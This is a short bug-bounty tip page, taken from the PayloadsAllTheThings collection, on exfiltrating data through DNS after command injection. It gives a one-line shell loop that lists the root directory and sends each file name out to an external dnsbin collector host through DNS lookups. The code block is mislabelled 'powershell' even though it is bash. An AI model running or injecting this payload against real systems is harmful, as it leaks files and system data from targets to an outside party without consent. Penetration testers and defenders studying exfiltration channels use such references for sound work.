Command Injection: Dns Based Data Exfiltration

Command injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Based on the tool from HoLyVieR/dnsbin, also hosted at dnsbin.zhack.ca

  1. Go to dnsbin.zhack.ca

  2. Execute a simple 'ls'

powershell
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

Online tools to check for DNS based data exfiltration:

Comments

No comments yet.